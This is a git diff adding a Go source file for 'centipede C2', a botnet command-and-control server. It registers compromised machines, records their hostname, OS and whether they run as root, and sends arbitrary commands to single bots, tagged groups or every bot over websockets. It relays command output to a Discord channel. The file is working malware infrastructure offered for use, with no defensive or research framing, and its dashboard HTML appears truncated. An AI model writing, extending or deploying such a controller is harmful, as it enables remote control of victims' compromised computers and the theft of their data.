diff --git a/main.go b/main.go
new file mode 100644
index 0000000..140ae9e
--- /dev/null
+++ b/main.go
@@ -0,0 +1,431 @@
+package main
+
+import (
+ "crypto/rand"
+ "encoding/hex"
+ "encoding/json"
+ "flag"
+ "fmt"
+ "html/template"
+ "io"
+ "log"
+ "net/http"
+ "os"
+ "os/signal"
+ "sync"
+ "syscall"
+ "time"
+
+ "github.com/bwmarrin/discordgo"
+ "github.com/gorilla/mux"
+ "github.com/gorilla/websocket"
+)
+
+type Bot struct {
+ ID string `json:"id"`
+ Hostname string `json:"hostname"`
+ IP string `json:"ip"`
+ OS string `json:"os"`
+ Arch string `json:"arch"`
+ Kernel string `json:"kernel"`
+ FirstSeen time.Time `json:"first_seen"`
+ LastSeen time.Time `json:"last_seen"`
+ Layer int `json:"c2_layer"`
+ Tag string `json:"tag"`
+ Privilege string `json:"privilege"`
+ Connected bool `json:"connected"`
+ Pending int `json:"pending_tasks"`
+}
+
+type Command struct {
+ ID string `json:"id"`
+ BotID string `json:"bot_id"`
+ Action string `json:"action"`
+ Args string `json:"args"`
+ Status string `json:"status"`
+ Result string `json:"result"`
+ CreatedAt time.Time `json:"created_at"`
+ Target string `json:"target"`
+}
+
+type C2Server struct {
+ mu sync.RWMutex
+ bots map[string]*Bot
+ commands map[string]*Command
+ wsClients map[string]*websocket.Conn
+ upgrader websocket.Upgrader
+
+ discordSession *discordgo.Session
+ discordChanID string
+}
+
+func NewC2Server() *C2Server {
+ return &C2Server{
+ bots: make(map[string]*Bot),
+ commands: make(map[string]*Command),
+ wsClients: make(map[string]*websocket.Conn),
+ upgrader: websocket.Upgrader{
+ CheckOrigin: func(r *http.Request) bool { return true },
+ },
+ }
+}
+
+func main() {
+ var (
+ addr = flag.String("addr", ":8443", "Listen address")
+ discordTok = flag.String("discord-token", "", "Discord bot token")
+ discordChan = flag.String("discord-channel", "", "Discord channel ID")
+ certFile = flag.String("cert", "", "TLS cert file")
+ keyFile = flag.String("key", "", "TLS key file")
+ )
+ flag.Parse()
+
+ log.SetFlags(log.LstdFlags | log.Lshortfile)
+ srv := NewC2Server()
+
+ if *discordTok != "" && *discordChan != "" {
+ go srv.startDiscord(*discordTok, *discordChan)
+ }
+
+ r := mux.NewRouter()
+ api := r.PathPrefix("/api").Subrouter()
+ api.HandleFunc("/bots", srv.handleBots).Methods("GET")
+ api.HandleFunc("/bots/{id}", srv.handleBotDetail).Methods("GET")
+ api.HandleFunc("/bots/{id}/tag", srv.handleTagBot).Methods("POST")
+ api.HandleFunc("/command", srv.handleSendCommand).Methods("POST")
+ api.HandleFunc("/commands", srv.handleCommands).Methods("GET")
+ api.HandleFunc("/stats", srv.handleStats).Methods("GET")
+
+ r.HandleFunc("/ws", srv.handleWebSocket)
+ r.HandleFunc("/ws/bot", srv.handleBotWS)
+ r.HandleFunc("/", srv.handleDashboard)
+ r.PathPrefix("/static/").Handler(
+ http.StripPrefix("/static/",
+ http.FileServer(http.Dir("web/static"))))
+
+ httpSrv := &http.Server{
+ Addr: *addr,
+ Handler: r,
+ }
+
+ go func() {
+ if *certFile != "" && *keyFile != "" {
+ log.Printf("[c2d] listening on https://%s", *addr)
+ log.Fatal(httpSrv.ListenAndServeTLS(*certFile, *keyFile))
+ } else {
+ log.Printf("[c2d] listening on http://%s", *addr)
+ log.Fatal(httpSrv.ListenAndServe())
+ }
+ }()
+
+ sigCh := make(chan os.Signal, 1)
+ signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM)
+ <-sigCh
+}
+
+func (s *C2Server) handleDashboard(w http.ResponseWriter, r *http.Request) {
+ w.Header().Set("Content-Type", "text/html")
+ tmpl := template.Must(template.New("dashboard").Parse(dashboardHTML))
+ tmpl.Execute(w, s.getStats())
+}
+
+func (s *C2Server) handleBots(w http.ResponseWriter, r *http.Request) {
+ s.mu.RLock()
+ defer s.mu.RUnlock()
+ list := make([]*Bot, 0, len(s.bots))
+ for _, b := range s.bots {
+ list = append(list, b)
+ }
+ writeJSON(w, list)
+}
+
+func (s *C2Server) handleBotDetail(w http.ResponseWriter, r *http.Request) {
+ vars := mux.Vars(r)
+ s.mu.RLock()
+ bot, ok := s.bots[vars["id"]]
+ s.mu.RUnlock()
+ if !ok {
+ http.Error(w, "not found", http.StatusNotFound)
+ return
+ }
+ writeJSON(w, bot)
+}
+
+func (s *C2Server) handleTagBot(w http.ResponseWriter, r *http.Request) {
+ vars := mux.Vars(r)
+ var req struct{ Tag string `json:"tag"` }
+ json.NewDecoder(r.Body).Decode(&req)
+ s.mu.Lock()
+ if bot, ok := s.bots[vars["id"]]; ok {
+ bot.Tag = req.Tag
+ }
+ s.mu.Unlock()
+ writeJSON(w, map[string]string{"status": "ok"})
+}
+
+func (s *C2Server) handleSendCommand(w http.ResponseWriter, r *http.Request) {
+ var req struct {
+ BotID string `json:"bot_id"`
+ Tag string `json:"tag"`
+ Action string `json:"action"`
+ Args string `json:"args"`
+ }
+ json.NewDecoder(r.Body).Decode(&req)
+
+ cmdID := genID()
+ cmd := &Command{
+ ID: cmdID,
+ BotID: req.BotID,
+ Action: req.Action,
+ Args: req.Args,
+ Status: "pending",
+ CreatedAt: time.Now(),
+ }
+
+ s.mu.Lock()
+ s.commands[cmdID] = cmd
+
+ if req.Tag != "" {
+ for _, bot := range s.bots {
+ if bot.Tag == req.Tag {
+ s.sendToBot(bot.ID, cmd)
+ }
+ }
+ } else if req.BotID == "" {
+ for _, bot := range s.bots {
+ s.sendToBot(bot.ID, cmd)
+ }
+ } else {
+ s.sendToBot(req.BotID, cmd)
+ }
+ s.mu.Unlock()
+
+ writeJSON(w, cmd)
+}
+
+func (s *C2Server) sendToBot(botID string, cmd *Command) {
+ s.mu.RLock()
+ conn, ok := s.wsClients[botID]
+ s.mu.RUnlock()
+ if !ok {
+ return
+ }
+ conn.WriteJSON(map[string]interface{}{
+ "t": "task",
+ "id": cmd.ID,
+ "act": cmd.Action,
+ "args": cmd.Args,
+ })
+}
+
+func (s *C2Server) handleCommands(w http.ResponseWriter, r *http.Request) {
+ s.mu.RLock()
+ defer s.mu.RUnlock()
+ list := make([]*Command, 0, len(s.commands))
+ for _, c := range s.commands {
+ list = append(list, c)
+ }
+ writeJSON(w, list)
+}
+
+func (s *C2Server) handleStats(w http.ResponseWriter, r *http.Request) {
+ writeJSON(w, s.getStats())
+}
+
+func (s *C2Server) getStats() map[string]interface{} {
+ s.mu.RLock()
+ defer s.mu.RUnlock()
+ connected := 0
+ root := 0
+ for _, b := range s.bots {
+ if b.Connected {
+ connected++
+ }
+ if b.Privilege == "root" {
+ root++
+ }
+ }
+ return map[string]interface{}{
+ "total_bots": len(s.bots),
+ "connected": connected,
+ "root_bots": root,
+ "pending_cmds": len(s.commands),
+ "version": "0.1.0",
+ }
+}
+
+func (s *C2Server) handleWebSocket(w http.ResponseWriter, r *http.Request) {
+ conn, err := s.upgrader.Upgrade(w, r, nil)
+ if err != nil {
+ return
+ }
+ defer conn.Close()
+ for {
+ _, _, err := conn.ReadMessage()
+ if err != nil {
+ break
+ }
+ }
+}
+
+func (s *C2Server) handleBotWS(w http.ResponseWriter, r *http.Request) {
+ conn, err := s.upgrader.Upgrade(w, r, nil)
+ if err != nil {
+ return
+ }
+
+ var botID string
+ for {
+ var msg map[string]interface{}
+ if err := conn.ReadJSON(&msg); err != nil {
+ break
+ }
+
+ msgType, _ := msg["t"].(string)
+ botID, _ = msg["bid"].(string)
+
+ switch msgType {
+ case "register":
+ hostname, _ := msg["hostname"].(string)
+ bot := &Bot{
+ ID: botID,
+ Hostname: hostname,
+ FirstSeen: time.Now(),
+ LastSeen: time.Now(),
+ Connected: true,
+ }
+ s.mu.Lock()
+ s.wsClients[botID] = conn
+ s.bots[botID] = bot
+ s.mu.Unlock()
+
+ case "result":
+ taskID, _ := msg["tid"].(string)
+ ok, _ := msg["ok"].(bool)
+ output, _ := msg["out"].(string)
+ s.mu.Lock()
+ if cmd, exists := s.commands[taskID]; exists {
+ cmd.Status = "completed"
+ cmd.Result = output
+ if !ok {
+ cmd.Status = "failed"
+ }
+ }
+ s.mu.Unlock()
+
+ if s.discordSession != nil {
+ content := fmt.Sprintf("```\n[%s] %s\n%s\n```", taskID, botID, output)
+ s.discordSession.ChannelMessageSend(s.discordChanID, content)
+ }
+
+ case "ping":
+ s.mu.Lock()
+ if bot, ok := s.bots[botID]; ok {
+ bot.LastSeen = time.Now()
+ bot.Connected = true
+ }
+ s.mu.Unlock()
+ conn.WriteJSON(map[string]string{"t": "pong"})
+ }
+ }
+
+ s.mu.Lock()
+ if bot, ok := s.bots[botID]; ok {
+ bot.Connected = false
+ }
+ delete(s.wsClients, botID)
+ s.mu.Unlock()
+}
+
+func (s *C2Server) startDiscord(token, channelID string) {
+ sess, err := discordgo.New("Bot " + token)
+ if err != nil {
+ log.Printf("[c2d] discord: %v", err)
+ return
+ }
+ s.discordChanID = channelID
+
+ sess.AddHandler(func(s *discordgo.Session, m *discordgo.MessageCreate) {
+ if m.ChannelID != channelID || m.Author.ID == s.State.User.ID {
+ return
+ }
+ })
+
+ intents := discordgo.IntentGuildMessages | discordgo.IntentMessageContent
+ sess.Identify.Intents = intents
+ if err := sess.Open(); err != nil {
+ log.Printf("[c2d] discord open: %v", err)
+ return
+ }
+ sess.ChannelMessageSend(channelID, "**centipede C2 online**")
+ s.discordSession = sess
+}
+
+func writeJSON(w http.ResponseWriter, v interface{}) {
+ w.Header().Set("Content-Type", "application/json")
+ json.NewEncoder(w).Encode(v)
+}
+
+func genID() string {
+ b := make([]byte, 12)
+ io.ReadFull(rand.Reader, b)
+ return hex.EncodeToString(b)
+}
+
+const dashboardHTML = `
+
+
+
+
+ centipede C2
+
+
+
+
+
+
+
+
+
+
| ID | Hostname | Status | Privilege | Tag | Command |
|---|
+
+
+
+
+
+
+`